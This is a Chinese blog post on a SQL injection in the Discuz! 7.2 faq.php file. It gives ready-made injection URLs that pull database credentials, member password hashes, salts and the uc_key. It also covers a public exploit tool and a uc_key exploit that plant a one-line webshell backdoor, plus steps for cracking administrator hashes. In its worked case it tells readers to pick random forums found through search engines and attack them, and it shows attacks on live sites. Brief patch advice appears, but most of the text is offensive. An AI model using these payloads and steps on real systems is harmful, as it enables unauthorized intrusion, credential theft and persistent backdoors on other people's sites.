天天看點

Discuz!7.2 faq.php檔案SQL注入漏洞分析及利用實戰 1. faq.php檔案SQL注入漏洞代碼分析 2.可利用exp代碼 3.利用exp工具使用 4.Discuz!7.2faq.php檔案SQL注入漏洞利用思路 6.實際利用案例

Discuz!7.2 faq.php檔案SQL注入漏洞分析及利用實戰

[antian365.com] simeon

   最近網上公開了Discuz!7.2版本faq.php檔案SQL注入0day,通過對檔案漏洞分析以及實戰測試,效果不錯,公開利用exp的利用需要對SQL語句以及資料庫等相當了解,在某些情況下需要多種技術配合才能最終攻克目标,下面就漏洞代碼以及實戰利用等進行探讨,對擷取管理者密碼的利用,uc_key擷取webshell,插件導入擷取Webshell等進行探讨。

本次存在漏洞的檔案為faq.php,打開該檔案後,從第148行開始,代碼如下

} elseif($action == 'grouppermission') {

       require_once'./include/forum.func.php';

       require_oncelanguage('misc');

       $permlang =$language;

       unset($language);

       $searchgroupid =isset($searchgroupid) ? intval($searchgroupid) : $groupid;

       $groups =$grouplist = array();

       $query =$db->query("SELECT groupid, type, grouptitle, radminid FROM{$tablepre}usergroups ORDER BY (creditshigher<>'0' ||creditslower<>'0'), creditslower");

       $cgdata =$nextgid = '';

       while($group =$db->fetch_array($query)) {

              $group['type']= $group['type'] == 'special' && $group['radminid'] ? 'specialadmin' :$group['type'];

              $groups[$group['type']][]= array($group['groupid'], $group['grouptitle']);

              $grouplist[$group['type']].= '<option value="'.$group['groupid'].'"'.($searchgroupid ==$group['groupid'] ? ' selected="selected"' :'').'>'.$group['grouptitle'].($groupid == $group['groupid'] ? ' ←': '').'</option>';

              if($group['groupid']== $searchgroupid) {

                     $cgdata= array($group['type'], count($groups[$group['type']]) - 1, $group['groupid']);

              }

       }

       if($cgdata[0] =='member') {

              $nextgid =$groups[$cgdata[0]][$cgdata[1] + 1][0];

              if($cgdata[1]> 0) {

                     $gids[1]= $groups[$cgdata[0]][$cgdata[1] - 1];

              $gids[2] =$groups[$cgdata[0]][$cgdata[1]];

              if($cgdata[1]< count($groups[$cgdata[0]]) - 1) {

                     $gids[3]= $groups[$cgdata[0]][$cgdata[1] + 1];

                     if(count($gids)== 2) {

                            $gids[4]= $groups[$cgdata[0]][$cgdata[1] + 2];

                     }

              }elseif(count($gids) == 2) {

                     $gids[0]= $groups[$cgdata[0]][$cgdata[1] - 2];

       } else {

              $gids[1] =$groups[$cgdata[0]][$cgdata[1]];

       ksort($gids);

       $groupids =array();

       foreach($gids as$row) {

              $groupids[]= $row[0];

       $query =$db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN{$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN(".implodeids($groupids).")");

       $groups =array();

    首先定義一個數組groupids,然後周遊$gids(這也是個數組,就是$_GET[gids]),将數組中的所有值的第一位取出來放在groupids中。為什麼這個操作就造成了注入?在《進階PHP應用程式漏洞稽核技術》[1]一文裡的"魔術引号帶來的新的安全問題"一節裡,有提到通過提取魔術引号産生的“\”字元帶來的安全問題,同樣這個問題在這裡又一次完美展現。discuz在全局會對GET數組進行addslashes轉義,也就是說會将'轉義成\',是以,如果我們的傳入的參數是:gids[1]='的話,會被轉義成$gids[1]=\',而這個指派語句$groupids[] = $row[0]就相當于取了字元串的第一個字元,也就是\,把轉義符号取出來了。在将資料放入sql語句前,通過implodeids函數進行處理了一遍,implodeids函數如下:

function implodeids($array) {

    if(!empty($array)){

        return"'".implode("','", is_array($array) ? $array :array($array))."'";

    } else {

        return '';

    }

}

很簡單一個函數,就是将剛才的$groupids數組用','分割開,組成一個類似于'1','2','3','4'的字元串傳回。但是我們的數組剛取出來一個轉義符,它會将這裡一個正常的'轉義掉,比如這樣:'1','\','3','4'

有沒有看出有點不同,第4個單引号被轉義了,也就是說第5個單引号和第3個單引号閉合。這樣3這個位置就等于逃逸出了單引号,也就是産生的注入。我們把報錯語句放在3這個位置,就能報錯。

利用上面提到的思路,通過送出faq.php?xigr[]='&xigr[][uid]=evilcode這樣的構造形式可以很容易的突破GPC或類似的安全處理,形成SQL注射漏洞。是以可以構造利用代碼:

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)and (select 1 from (select count(*),concat((select (select (selectconcat(username,0x27,password) from cdb_members limit 1) ) from`information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tablesgroup by x)a)%23

 (1)擷取mysql使用者資訊

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28user%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

(2)擷取資料庫版本資訊

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

(3)擷取資料庫資訊

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28database%28%29,floor%28rand%280%29*2%29,0x3a,concat%28user%28%29%29%20%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

(4)擷取資料庫使用者名和密碼

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,password,0x3a)%20from%20mysql.user limit 0,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23

(5)擷取使用者名、email、密碼和salt資訊

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,email,0x3a,password,0x3a,salt,0x3a,secques%29%20from%20cdb_uc_memberslimit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

(6)擷取uc_key

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23

(7)對指定uid擷取密碼

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,email,0x3a,password,0x3a,salt%29%20from%20cdb_uc_memberswhere uid=1 %20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

   網上公布了可利用的exp工具,通過該工具可以快速擷取管理者密碼,但有時候admin帳号并不是管理者帳号。利用格式如下:

   (1)直接擷取webshell,一句話密碼為“i0day”

php dz7.2.php www.antian365.com / 1

(2)擷取管理密碼

php dz7.2.php www.antian365.com / 2

(1)通過exp直接擷取webshell,如果不能則擷取管理者密碼。

(2)對管理者密碼進行破解。通過在cmd5.com網站對管理密碼進行查詢,需要帶salt,擷取的salt要去掉最後一個數字“1”,例如下面擷取

admin:c6c45f444cf6a41b309c9401ab9a55a7:066ff71,需要查詢的是c6c45f444cf6a41b309c9401ab9a55a7:066ff7

注意:有時候通過工具擷取的密碼不一定是管理者,這個時候就需要手工擷取管理者的密碼,還有如果有secques,就需要暴力破解。

(3)通過uc_key擷取shell

(4)進入背景,添加插件擷取webshell

(1)直接删除faq.php檔案。該檔案為顯示論壇幫助用的,功能相對獨立,可以在伺服器禁止該檔案的通路,或者直接删除,對論壇正常功能沒有任何影響。

(2) 手工修複faq.php

用編輯器打開該檔案,查找代碼:“} elseif($action =='grouppermission') {”,在其下面添加“  $gids= array();”即可。

    通過google、百度等搜尋引擎搜尋“Powered by Discuz!7.2”,在出來的結果中随機選取一個論壇,然後在指令提示符下輸入“php dz7.2.php www1.xxxx.com / 1”以及“php dz7.2.php www1.xxxx.com /  2”,如圖1所示,直接擷取該網站的webshell以及管理者密碼。

圖1 擷取webshell以及管理者密碼

注意:

   (1)需要本地搭建php運作環境,本案例使用的是ComsenzEXP X2.5,下載下傳位址:http://www.comsenz.com/downloads/install/exp/,安裝完畢後需要修改php.ini檔案,該檔案在安裝該軟體的php目錄中,例如“D:\ComsenzEXP\PHP5”,打開php.ini檔案,将以下檔案的内容修改為實際安裝檔案的路徑,否則執行php指令會報錯。

zend_extension_manager.optimizer_ts="D:\ComsenzEXP\PHP5\Zend"

zend_extension_ts="D:\ComsenzEXP\PHP5\Zend\ZendExtensionManager.dll"

(2)“/”後需要留一個空格。如果存在漏洞則有結果,無結果則表明無法擷取webshell或者管理者密碼。

    在中國菜刀中對上面擷取的webshell進行連接配接測試,如圖2所示,成功擷取webshell。

圖2 對webshell進行連接配接測試

   (1)擷取uc_key值

在本地打開config.inc.php檔案,如圖3所示,将UC_KEY值複制,UC_KEY可能是64位,也可能為124位。也可以通過檢視資料庫中的cdb_uc_applications表的authkey字段值。

圖3擷取uc_key值

(2)修改uc_key_dz72_me.php程式配置

   在uc_key漏洞利用程式uc_key_dz72_me.php中需要手動配置host和uc_key的值,如圖4所示。

圖4修改漏洞利用程式配置

(3)修改discuz!7.2實際安裝路徑

   在uc_key漏洞利用程式uc_key_dz72_me.php中預設是安裝在根目錄中,但在實際使用中有可能是安裝在其它目錄,比如bbs、forum等。如果不是預設根目錄,則需要在send()函數中修改uc.php真實路徑,例如修改為“/dz72/api/uc.php”,如果是預設的則為“api/uc.php”,其它保持不變。

圖5修改post參數

(4)執行利用程式

   在php.exe程式所在目錄執行“php uc_key_dz72_me.php”,如圖6所示,會出現“1”的提示,則表明成功擷取webshell。

圖6執行漏洞利用程式

(5)檢視config.inc.php檔案

    再次打開config.inc.php檔案,如圖7所示,uc_key中新增加了一句話後門代碼,使用中國菜刀連接配接,密碼為“cmd”。

圖7成功擷取webshell

(1)擷取uc_key前62位值。

在浏覽器中目标位址加上:“/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23”

執行後擷取uc_key前62位值,如圖8所示。

圖8擷取uc_key前62位值

(2)擷取剩餘uc_key值

在上述代碼中将(authkey,1,62)修改為(authkey,61,64),如圖9所示,擷取uc_key值“j2J6”,去掉“j2”,前後值相加即為uc_key的真實值。如果authkey的值超過64位則修改為(authkey,61,128)。substr()函數一次隻能擷取62位值。直接使用substr(authkey,1,124)也隻能擷取62位值,如圖10所示。

圖9擷取uc_key剩餘值

圖10一次隻能擷取62位值

(3)擷取webshell

   将uc_key值和host以及真實的路徑值進行修改,然後通過uc_key漏洞利用程式,成功擷取webshell,如圖11所示。

圖11擷取webshell

(4)修補程式漏洞

在faq.php檔案中找到action==grouppermission代碼所在處,在其後加入代碼“$gids = array();” 如圖12所示,儲存後即可修複faq.php注入漏洞。

圖12修複faq.php檔案注入漏洞

   (1)擷取admin密碼,但不是管理者帳号

 對目标網站通過漏洞利用程式,擷取管理者帳号為admin的密碼和salt值,如圖13所示,将其在cmd5.com進行查詢,購買該破解後的密碼後,使用其進行網站登入,如圖14所示,雖然為admin帳号,但不是管理者。

圖13擷取admin帳号密碼

圖14登入網站

(2)擷取管理團隊帳号名稱和uid

   在論壇中單擊“論壇統計”-“管理團隊”,如圖15所示,擷取所有管理團隊的使用者帳号名稱,單擊該帳号可以擷取uid值。分别記下其uid值,後續在程式中還有用。

圖15擷取管理者帳号和uid值

(3)擷取真實管理者的帳号、密碼和salt值

在浏覽器中輸入以下代碼,擷取指定uid的密碼、email、salt值:

http://www.antian365.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,email,0x3a,password,0x3a,salt%29%20from%20cdb_uc_memberswhere uid=50477%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

   執行後通過出錯資訊擷取其相應的值,如圖16所示。

圖16擷取指定管理者的帳号密碼和salt值

   後續步驟跟上面的類似,通過破解管理者的密碼,登入背景,通過添加插件,成功擷取webshell。

<a href="http://down.51cto.com/data/2364669" target="_blank">附件:http://down.51cto.com/data/2364669</a>

 本文轉自 simeon2005 51CTO部落格,原文連結:http://blog.51cto.com/simeon/1440000